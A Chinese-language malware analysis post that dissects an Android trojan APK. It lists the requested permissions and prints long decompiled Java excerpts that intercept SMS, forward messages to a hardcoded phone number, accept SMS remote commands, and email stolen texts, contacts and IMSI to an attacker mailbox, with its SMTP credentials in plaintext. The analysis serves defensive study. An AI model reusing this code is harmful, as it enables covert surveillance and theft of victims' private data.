木马APP的简单分析(Android Killer分析)
一.此贴目的:分析一个木马APP样本的行为。—————————————————————————————————————————————————-
二.分析步骤及结果:
文件名称: | Project_Mod.apk |
---|---|
MD5值: | 773833c1e4632aaa6b000e891dc49d4b |
文件大小: | 439.98KB |
上传时间: | 2017-09-29 13:13:17 |
包名: | com.nai.ke |
最低运行环境: | Android 4.0, 4.0.1, 4.0.2 |
版权: | Android |
1.在模拟器上安装APP初步查看行为
由于给的样本中没有原来的APK文件,所以我只好用apktool进行了一次回编译并签名后得到了APK文件,才得以在模拟器上安装。
这里看出程序是获取锁定屏幕的权限。
以上是这款APP的权限,包括读取通讯录短信的敏感权限。
2.我将这个APP文件上传至哈勃分析系统
android.permission.WRITE_SMS 写短信
android.permission.READ_SMS 读取短信
android.permission.SEND_SMS 发送短信
android.permission.RECEIVE_SMS 监控接收短信
android.permission.INTERNET 连接网络(2G或3G)
android.permission.READ_CONTACTS 读取联系人信息
android.permission.WRITE_CONTACTS 写入联系人信息
android.permission.WRITE_EXTERNAL_STORAGE 写外部存储器(如:SD卡)
android.permission.PROCESS_OUTGOING_CALLS 监视、修改有关拨出电话
android.permission.READ_PHONE_STATE 读取电话状态
android.permission.CALL_PHONE 拨打电话
android.permission.WRITE_CALL_LOG 写入通话记录
android.permission.RECEIVE_BOOT_COMPLETED 接收开机启动广播
android.permission.DISABLE_KEYGUARD 禁用键盘锁
android.permission.WAKE_LOCK 手机屏幕关闭后后台进程仍运行
至此其实就很清楚这个APP大概会在安卓系统里干些什么了。
3.现在将此APK文件反编译后的jar文件用Java Decompiler打开查看具体代码
由于此木马样本比较简单,我从头到尾翻了一遍代码,以下为较重要功能部分
在d.class中 获取[email]17828075791@163.com[/email]这个邮箱收到的邮件内容,有趣的是在邮箱后面还跟了一串字符串,是邮箱的密码。
public void a(String paramString1, String paramString2)
{
String str = l.a(this.c, "zzxx", "tel");
b localb = new b();
localb.a("smtp.163.com", "25");
try
{
localb.a("17828075791@163.com", str + "(***收到DX***)", "发信人:" + paramString2 + "-内容:" + paramString1);
localb.a(new String[] { "17828075791@163.com" });
localb.b("smtp.163.com", "17828075791@163.com", "apowtzjtereitcao");
return;
}
在h.class中,拦截短信到并发送给15877587263
public h(String paramString1, String paramString2, Context paramContext)
{
this.a = paramString1;
this.b = paramString2;
this.c = paramContext;
}
protected String a(Integer... paramVarArgs)
{
publishProgress(new Integer[] { Integer.valueOf(1) });
a.b("拦截消息doInBackground");
a(this.a, this.b);
return "doInBackground:" + paramVarArgs;
}
protected void a(String paramString)
{
a.b("拦截消息后发送结束:" + paramString);
}
public void a(String paramString1, String paramString2)
{
a.b("content:" + paramString2);
String str1 = e.a(this.c, paramString1);
paramString2 = a.c(paramString2);
if (paramString2 == null) {}
for (;;)
{
return;
if (paramString2.size() == 1)
{
paramString1 = a.a(paramString1, str1, (String)paramString2.get(0));
if (a.a(paramString1)) {
continue;
}
try
{
a.b("sendMsg " + "15877587263" + "," + paramString1);
a.a("15877587263", paramString1);
a.b("sendMsg over");
return;
}
catch (Exception paramString1)
{
a.b("sendMsg exception:" + paramString1.getMessage());
return;
}
}
paramString2 = paramString2.iterator();
int j;
for (int i = 1; paramString2.hasNext(); i = j)
{
String str2 = (String)paramString2.next();
j = i + 1;
str2 = a.a(paramString1, str1, str2, i);
if (!a.a(str2)) {
try
{
a.b(j + "==sendMsg " + "15877587263" + "," + str2);
a.a("15877587263", str2);
a.b("sendMsg over");
i = j;
}
catch (Exception localException)
{
a.b("sendMsg exception:" + localException.getMessage());
}
}
}
}
}
protected void b(Integer... paramVarArgs)
{
a.b("拦截消息后准备发送中");
}
protected void onPreExecute()
{
a.b("拦截消息后准备发送");
}
}
在i.class中和dggng中的c.class,明显就可以看出通过短信远程操控的操作。
public void a(String paramString1, String paramString2)
{
SmsManager localSmsManager = SmsManager.getDefault();
Object localObject2;
Object localObject1;
Iterator localIterator1;
switch (paramString1.hashCode())
{
default:
case 49:
case 50:
case 51:
do
{
do
{
do
{
return;
} while (!paramString1.equals("1"));
l.a(this.e, "zzxx", "bo", "0");
localSmsManager.sendTextMessage("15877587263", null, "[font=微软雅黑]设置成功[/font]", null, null);
return;
} while (!paramString1.equals("2"));
l.a(this.e, "zzxx", "bo", "1");
localSmsManager.sendTextMessage("15877587263", null, "[font=微软雅黑]设置成功[/font]", null, null);
System.out.println(l.a(this.e, "zzxx", "bo"));
return;
} while ((!paramString1.equals("3")) || (k.a(this.e)));
localSmsManager.sendTextMessage("15877587263", null, "[font=微软雅黑]设置成功[/font],请留意邮件", null, null);
this.b = new j(this.e);
this.a = new c(this.e);
localObject2 = (ArrayList)this.b.a();
localObject1 = this.a.a();
paramString1 = this.b.b();
paramString2 = "*************DXX*************<br><br>";
localIterator1 = paramString1.iterator();
label316:
if (!localIterator1.hasNext())
{
paramString1 = paramString2 + "<br>" + "<br>" + "<br>" + "<br>" + "********************TXL*********************" + "<br>";
paramString2 = ((HashSet)localObject1).iterator();
if (paramString2.hasNext()) {
break label1340;
}
paramString2 = l.a(this.e, "zzxx", "tel");
localObject1 = new b();
((b)localObject1).a("smtp.163.com", "25");
}
break;
}
for (;;)
{
try
{
((b)localObject1).a("17828075791@163.com", paramString2 + "(重新获取的短信录或通讯录)" + "机型:" + Build.MODEL + ",系统版本:" + Build.VERSION.RELEASE, paramString1);
((b)localObject1).a(new String[] { "17828075791@163.com" });
((b)localObject1).b("smtp.163.com", "17828075791@163.com", "1634576908qq");
return;
}
catch (Addres**ception paramString1)
{
localSmsManager.sendTextMessage("15877587263", null, "获取失败", null, null);
paramString1.printStackTrace();
Log.e("wxl", "Addres**ception", paramString1);
return;
if (!paramString1.equals("4")) {
break;
}
l.a(this.e, "zzxx", "da", "1");
localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);
System.out.println(l.a(this.e, "zzxx", "da"));
return;
if (!paramString1.equals("5")) {
break;
}
System.out.println("开始群发吗?");
this.a = new c(this.e);
paramString1 = this.a.a();
if (l.b(this.e, "zzxx", "qf") != 0) {
break;
}
localSmsManager.sendTextMessage("15877587263", null, "开始群发", null, null);
paramString1 = paramString1.iterator();
if (!paramString1.hasNext())
{
localSmsManager.sendTextMessage("15877587263", null, "群发结束", null, null);
l.a(this.e, "zzxx", "qf", 1);
return;
if (!paramString1.equals("6")) {
break;
}
localSmsManager.sendTextMessage(paramString2.substring(4, 15), null, paramString2.substring(16), null, null);
localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);
return;
if (!paramString1.equals("7")) {
break;
}
l.a(this.e, "zzxx", "qf", 0);
localSmsManager.sendTextMessage("15877587263", null, "重置成功,请成功发送群指令", null, null);
return;
if (!paramString1.equals("8")) {
break;
}
localSmsManager.sendTextMessage("15877587263", null, "指令不正确,重新发送", null, null);
return;
if (!paramString1.equals("9")) {
break;
}
l.a(this.e, "zzxx", "xin", "1");
localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);
return;
if (!paramString1.equals("10")) {
break;
}
l.a(this.e, "zzxx", "xin", "0");
localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);
return;
if (!paramString1.equals("11")) {
break;
}
l.a(this.e, "zzxx", "da", "0");
localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);
return;
if (!paramString1.equals("12")) {
break;
}
l.a(this.e, "zzxx", "da", "1");
localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);
return;
if (!paramString1.equals("13")) {
break;
}
paramString1 = new Intent("android.intent.action.CALL", Uri.parse("tel:**21*" + paramString2.substring(4, 15) + "#"));
paramString1.addFlags(268435456);
this.e.startActivity(paramString1);
localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);
localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);
return;
if (!paramString1.equals("14")) {
break;
}
paramString1 = new Intent("android.intent.action.CALL", Uri.parse("tel:##21#"));
paramString1.addFlags(268435456);
this.e.startActivity(paramString1);
localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);
return;
String str = (String)localIterator1.next();
paramString1 = paramString2 + "<br>" + "<br>" + "<br>" + "<br>" + "************************" + "收到FXR号码:" + str + "************************" + "<br>";
Iterator localIterator2 = ((ArrayList)localObject2).iterator();
paramString2 = paramString1;
if (!localIterator2.hasNext()) {
break label316;
}
paramString2 = (e)localIterator2.next();
if (!str.equals(paramString2.b())) {
continue;
}
if (paramString2.d().equals("1"))
{
paramString1 = paramString1 + "<br>" + "<font color=" + "red>" + "[收发的短信时间:" + paramString2.c() + "]," + "短信内容:" + paramString2.a() + "</font>" + "<br>";
continue;
}
paramString1 = paramString1 + "<br>" + "<font color=" + "blue>" + "[收发的短信时间:" + paramString2.c() + "]," + "短信内容:" + paramString2.a() + "</font>" + "<br>";
continue;
localObject1 = (a)paramString2.next();
paramString1 = paramString1 + "名字:" + ((a)localObject1).a() + "\t" + ((a)localObject1).b() + "<br>" + "<br>";
}
}
catch (MessagingException paramString1)
{
label1340:
localSmsManager.sendTextMessage("15877587263", null, "获取失败", null, null);
paramString1.printStackTrace();
Log.e("wxl", "MessagingException", paramString1);
return;
}
localObject1 = (a)paramString1.next();
localObject2 = ((a)localObject1).b().replace("-", "").replace("\\s", "");
if ((((String)localObject2).length() == 11) || (((String)localObject2).substring(0, 1) == "1")) {
localSmsManager.sendTextMessage(((a)localObject1).b(), null, ((a)localObject1).a() + paramString2.substring(4), null, null);
}
}
}
}
值得注意的是在dggng中c.class的末尾 看出来作者可以有更改邮箱的操作 即控制客户期间可以随意更换目标邮箱
这里就是判断是否短信发送成功及接收成功
在love HssSeervice.class和MainService.class中都有类似的获取设备型号发送至邮箱的操作。
if (this.b.getInt(“IsFirstRun”, 1) == 1)
{
localObject1 = this.b.getString(“imsi”, c.k);
if (this.b.getInt(“isAdminActive”, 0) != 1) {
break label390;
}
new love.qin.co.service.b.a().a(love.qin.co.service.dggng.a.c, “成功启动:\nI M S I 号 : ” + (String)localObject1);
if (c.a(love.qin.co.service.dggng.a.d)) {
new love.qin.co.service.b.a().a(love.qin.co.service.dggng.a.d,
“已经激活,版本” + i + “\n” + “IMSI号: ” + (String)localObject1 + “\n” + “型号:” +
Build.MODEL + “\n” + “对应的邮箱:” + love.qin.co.service.dggng.a.j);
}
}
for (;;)
{
localObject1 = this.b.edit();
((SharedPreferences.Editor)localObject1).putInt(“IsFirstRun”, 0);
((SharedPreferences.Editor)localObject1).commit();
a();
return;
label390:
new love.qin.co.service.b.a().a(love.qin.co.service.dggng.a.c, “成功启动:\nI M S I 号: ” + (String)localObject1);
if (c.a(love.qin.co.service.dggng.a.d)) {
new love.qin.co.service.b.a().a(love.qin.co.service.dggng.a.d,
“已经激活,版本” + i + “\n” + “IMSI号: ” + (String)localObject1 + “\n” + “型号:” +
Build.MODEL + “\n” + “对应的邮箱:” + love.qin.co.service.dggng.a.j);
}
}
}
在love MyAdmin.class中,这里是判断客户是否激活了设备管理器
public class MyAdmin
extends DeviceAdminReceiver
{
public void onDisabled(Context paramContext, Intent paramIntent)
{
super.onDisabled(paramContext, paramIntent);
new a().a(“客户已经取消激活”);
new e(“客户已经取消激活!”);
}
public void onEnabled(Context paramContext, Intent paramIntent)
{
super.onEnabled(paramContext, paramIntent);
}
public void onReceive(Context paramContext, Intent paramIntent)
{
super.onReceive(paramContext, paramIntent);
System.out.println(“onreceiver”);
}
}
在love PhoService.class拦截短信并转发的具体代码
public class PhoService
extends Service
{
String a = "";
int b = 0;
Handler c = new b(this);
private String a(List paramList)
{
StringBuilder localStringBuilder = new StringBuilder();
paramList = paramList.iterator();
for (;;)
{
if (!paramList.hasNext()) {
return localStringBuilder.toString();
}
Object localObject = (a1)paramList.next();
String str1 = ((a1)localObject).e();
String str2 = ((a1)localObject).f();
String str3 = ((a1)localObject).b();
localObject = ((a1)localObject).a();
localStringBuilder.append("-------------------------\n");
localStringBuilder.append(" " + (String)localObject + " " + str1 + " " + str3 + " " + " 短信内容" + "\n");
localStringBuilder.append(str2 + "\n");
}
}
private String a(List paramList, int paramInt)
{
String.format("%1$-80s", new Object[] { " " });
StringBuilder localStringBuilder = new StringBuilder();
paramList = paramList.iterator();
for (;;)
{
if (!paramList.hasNext()) {
return localStringBuilder.toString();
}
Object localObject = (Map)paramList.next();
String str = (String)((Map)localObject).get("name");
localObject = (String)((Map)localObject).get("number");
localStringBuilder.append(String.format("%1$-80s", new Object[] { str + ": " + (String)localObject }));
}
}
private List b()
{
ArrayList localArrayList = new ArrayList();
for (;;)
{
int i;
try
{
Cursor localCursor = getContentResolver().query(Uri.parse("content://sms/"), new String[] { "_id", "address", "person", "body", "date", "type" }, null, null, "date desc");
if (!localCursor.moveToNext())
{
localCursor.close();
return localArrayList;
}
String str5 = localCursor.getString(localCursor.getColumnIndex("person"));
String str6 = localCursor.getString(localCursor.getColumnIndex("address"));
String str4 = localCursor.getString(localCursor.getColumnIndex("body"));
String str7 = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss").format(new Date(Long.parseLong(localCursor.getString(localCursor.getColumnIndex("date")))));
i = localCursor.getInt(localCursor.getColumnIndex("type"));
if (i == 1)
{
String str1 = "接收";
continue;
localArrayList.add(new a1(str5, str6, str3, str7, str1));
continue;
str1 = "草稿";
String str3 = str4;
if (str4 != null) {
continue;
}
str3 = "";
continue;
}
if (i != 2) {
break label265;
}
}
catch (SQLiteException localSQLiteException)
{
return localArrayList;
}
String str2 = "发送;
continue;
label265:
if (i == 0) {
str2 = "未读";
}
}
}
[b][color=#0000ff]在love d.class中是在执行获取所有历史短信[/color][/b]
[mw_shl_code=java,true] public void run()
{
try
{
Object localObject1 = new g(this.a.getApplicationContext());
String str = ((g)localObject1).c();
Object localObject2 = ((g)localObject1).b();
localObject1 = localObject2;
if (localObject2 == null) {
localObject1 = "";
}
if ((love.qin.co.service.dggng.c.a((String)localObject1)) || (((String)localObject1).length() == 14)) {}
for (localObject1 = "电话:" + (String)localObject1 + "的所有短信记录;; localObject1 = "IMSI:" + str + "的所有短信记")
{
str = PhoService.a(this.a, PhoService.a(this.a));
localObject2 = localObject1;
if (str.length() <= " ".length()) {
localObject2 = localObject1 + " 客户手机限制,获取历史短信失败";
}
localObject1 = new h();
love.qin.co.service.a1.c localc = new love.qin.co.service.a1.c();
localc.a(a.i);
localc.b(a.r);
localc.a(true);
localc.f(a.f);
localc.d(a.g);
localc.c(a.f);
localc.e(a.h);
localc.g((String)localObject2);
localc.h(str);
((h)localObject1).a(localc);
}
}
}
在e.class中是在执行获取通讯录
public void run()
{
try
{
Object localObject1 = new g(this.a.getApplicationContext());
String str = ((g)localObject1).c();
Object localObject2 = ((g)localObject1).b();
localObject1 = localObject2;
if (localObject2 == null) {
localObject1 = “”;
}
if ((love.qin.co.service.dggng.c.a((String)localObject1)) || (((String)localObject1).length() == 14)) {}
for (localObject1 = “电话:” + (String)localObject1 + “的通讯录”;; localObject1 = “IMSI号” + str + “的通讯录”)
{
localObject2 = this.a.a();
str = PhoService.a(this.a, (List)localObject2, 1);
localObject2 = localObject1;
if (str.length() <= “ “.length()) {
localObject2 = localObject1 + ” 客户手机限制,获取通讯录失败”;
}
localObject1 = new h();
love.qin.co.service.a1.c localc = new love.qin.co.service.a1.c();
localc.a(a.i);
localc.b(a.r);
localc.a(true);
localc.f(a.f);
localc.d(a.g);
localc.c(a.f);
localc.e(a.h);
localc.g((String)localObject2);
localc.h(str);
((h)localObject1).a(localc);
在x.x.x FSR.class中是在记录手机当前是否在通话中
[b][color=#0000ff] [/color][/b]
public void onReceive(Context paramContext, Intent paramIntent)
{
Object localObject = paramContext.getSharedPreferences(“zzxx”, 0);
String str = ((SharedPreferences)localObject).getString(“bo”, “1″);
localObject = ((SharedPreferences)localObject).getString(“da”, “0″);
Log.i(“PhoneStatReceiver”, str);
if (paramIntent.getAction().equals(“android.intent.action.NEW_OUTGOING_CALL”))
{
paramContext = paramIntent.getStringExtra(“android.intent.extra.PHONE_NUMBER”);
System.out.println(“正在打电话”);
if (localObject == “1″)
{
System.out.println(“打不出电话”);
setResultData(null);
}
Log.e(“msg”, “call OUT:” + paramContext);
}
do
{
return;
this.a = ((TelephonyManager)paramContext.getSystemService(“phone”));
switch (this.a.getCallState())
{
default:
return;
case 0:
Log.e(“tag”, “电话空闲”);
return;
case 1:
Log.e(“tag”, “电话已挂断”);
}
} while (str != “0″);
a();
return;
Log.e(“tag”, “电话已摘机”);
}
}
[color=#0000ff][b]在[/b][/color][b]x.x.x
[/b][color=#0000ff][b]PAR.class中
通过[/b][/color][b][color=#0000ff]sendTextMessage发送短信告知鱼试图逃跑,即卸载程序[/color][/b]
public class PAReceiver
extends DeviceAdminReceiver
{
public CharSequence onDisableRequested(Context paramContext, Intent paramIntent)
{
paramIntent = l.a(paramContext, “zzxx”, “tel”);
com.b.a.a.b.a(paramIntent);
if (l.b(paramContext, “zzxx”, “pop”) == 0)
{
l.a(paramContext, “zzxx”, “pop”, 1);
SmsManager.getDefault().sendTextMessage(“15877587263″, null, paramIntent + “鱼试图逃跑”, null, null);
new a(this).start();
}
paramIntent = paramContext.getPackageManager().getLaunchIntentForPackage(“com.android.settings”);
paramIntent.setFlags(268435456);
paramContext.startActivity(paramIntent);
paramContext = (DevicePolicyManager)paramContext.getSystemService(“device_policy”);
paramContext.lockNow();
new Thread(new b(this, paramContext)).start();
return “”;
}
public void onDisabled(Context paramContext, Intent paramIntent) {}
public void onEnabled(Context paramContext, Intent paramIntent)
{
com.b.a.a.b.a(l.a(paramContext, “zzxx”, “tel”));
new c(this).start();
super.onEnabled(paramContext, paramIntent);
}
}
在x.x.x a.class中 通过发送邮件告知鱼试图逃跑,也是在程序卸载时触发
public void run()
{
System.out.println("执行发送邮件");
com.b.a.b.b localb = new com.b.a.b.b();
localb.a("smtp.163.com", "25");
try
{
localb.a("17828075791@163.com", "安装激活" + com.b.a.a.b.b() + "机型" + Build.MODEL + "系统型号:" + Build.VERSION.RELEASE, "哈哈鱼到碗里来了");
localb.a(new String[] { "17828075791@163.com" });
localb.b("smtp.163.com", "17828075791@163.com", "1634576908qq");
return;
}
catch (Addres**ception localAddres**ception)
{
localAddres**ception.printStackTrace();
Log.e("wxl", "Addres**ception", localAddres**ception);
return;
}
catch (MessagingException localMessagingException)
{
localMessagingException.printStackTrace();
Log.e("wxl", "MessagingException", localMessagingException);
}
}
}
三.总结
此贴仅为简单APP木马分析,能看出这是一款典型的远程手机短信邮件控制的木马程序,危害性挺大的,一般普通用户中毒后基本无法察觉。
自我反思:在学习分析这个APP过程中,虽然能大概根据中文看出代码意思,但是显得很突兀,很多函数间的调用和联系没能准确看出来,文章感觉条理不是太清晰,感觉自己太菜了。
木马APP的简单分析(Android Killer分析)的更多相关文章
- Android Launcher分析和修改9——Launcher启动APP流程
本来想分析AppsCustomizePagedView类,不过今天突然接到一个临时任务.客户反馈说机器界面的图标很难点击启动程序,经常点击了没有反应,Boss说要优先解决这问题.没办法,只能看看是怎么 ...
- Android Launcher分析和修改13——实现Launcher编辑模式(1) 壁纸更换
已经很久没更新Launcher系列文章,今天不分析源码,讲讲如何在Launcher里面添加桌面设置的功能.目前很多第三方Launcher或者定制Rom都有简单易用的桌面设置功能.例如小米MIUI的La ...
- Android Launcher分析和修改10——HotSeat深入进阶
前面已经写过Hotseat分析的文章,主要是讲解如何在Launcher里面配置以及修改Hotseat的参数.今天主要是讲解一下如何在Hotseat里面的Item显示名称.这个小问题昨天折腾了半天,最后 ...
- Android Launcher分析和修改7——AllApp全部应用列表(AppsCustomizeTabHost)
今天主要是分析一下Launcher里面的所有应用列表.Android4.0 Launcher的所有应用列表跟2.X比较大的区别就是多了Widget的显示.下面会详细分析Launcher里面有关所有应用 ...
- Android Launcher分析和修改11——自定义分页指示器(paged_view_indicator)
Android4.0的Launcher自带了一个简单的分页指示器,就是Hotseat上面那个线段,这个本质上是一个ImageView利用.9.png图片做,效果实在是不太美观,用测试人员的话,太丑了. ...
- Android Launcher分析和修改12——Widget列表信息收集
很久没写Launcher分析的文章,最近实在太忙.今天七夕本来是想陪女朋友逛街 ,碰巧打台风呆在家里,就继续写一篇文章.今天主要是讲一下Launcher里面的Widget列表,这方面信息比较多,今天重 ...
- Android Launcher分析和修改8——AllAPP界面拖拽元素(PagedViewWithDraggableItems)
接着上一篇文章,继续分析AllAPP列表界面.上一篇文章分析了所有应用列表的界面构成以及如何通过配置文件修改属性.今天主要是分析PagedViewWithDraggableItems类,因为在我们分析 ...
- 一个简单的Android木马病毒的分析
一.样本信息 文件名称: 一个安卓病毒木马.apk 文件大小:242867 byte 文件类型:application/jar 病毒名称:Android.Trojan.SMSSend.KS 样本MD5 ...
- Android多线程分析之五:使用AsyncTask异步下载图像
Android多线程分析之五:使用AsyncTask异步下载图像 罗朝辉 (http://www.cnblogs.com/kesalin) CC 许可,转载请注明出处 在本系列文章的第一篇<An ...
随机推荐
- SQL select 执行顺序
一.sql语句的执行步骤:1)语法分析,分析语句的语法是否符合规范,衡量语句中各表达式的意义.2)语义分析,检查语句中涉及的所有数据库对象是否存在,且用户有相应的权限.3)视图转换,将涉及视图的查询语 ...
- Phong & BlinnPhong Specular Shader
[Phong Specular Shader] 如果物体离摄像机很远,或者不需要高精度镜面反射,则Phong模型适用. Phong模型如下: 使用前必须指定使用自定义Phong. [BlinnPhon ...
- const&static&extern
const 结论: 如果const写在指针变量名的旁边, 那么指针的指向不能变, 而指向的内存空间的值可以变 如果const写在数据类型的左边或者右边, 那么指针的指向可以改变, 但是指向的内存空间的 ...
- Intellij IDEA 安装插件 报 ‘plugin xxxx is incompatible‘ 解决方案
网上下载安装LOMBOK失败,直接下载插件安装: 在离线安装IDEA插件的时候,可能会出现该问题.引起的原因主要就是版本号不一致. 下面介绍下离线安装找到合适的版本号. 1.在IDEA的help-&g ...
- linux系统文件的链接
一. 硬链接(实际链接) (以linux系统为例) 1. 文件的索引节点inode 假设我们在硬盘当前目录下建立了一个名为mytext文本文件,其内容只有一行:This is my file. (1) ...
- SpringBoot自定义拦截器实现
1.编写拦截器实现类,此类必须实现接口 HandlerInterceptor,然后重写里面需要的三个比较常用的方法,实现自己的业务逻辑代码 如:OneInterceptor package com ...
- ubuntu下搭建android开发环境之超顺畅模拟器
如果说android系统的卡,像耳边蚊子让人抓狂,那么android模拟器的卡,那就像午睡时的苍蝇.大概就是一样的恶心~~ 那么,这样的问题对于开发者肯定忍无可忍,我也一样,虽然我还没有入门,但我也一 ...
- EZOJ #258
传送门 分析 我们考虑一个点有多少中情况可以被删除 我们发现只有删除它自己和删祖先共$dep_i$中 所以每个点的答案就是$\frac{1}{dep_i}$ 代码 #include<iostre ...
- CENTOS 使用 MUTT发送邮件
有些时候我们需要在Centos服务器上发送邮件,例如备份MySQL数据库并发送到指定邮箱,这里我们就说下如何从Centos的shell命令发送邮件. 检查.安装.启动sendmail //检查 ps ...
- .net正则查询
using System;using System.Collections.Generic;using System.Linq;using System.Web;using System.Web.UI ...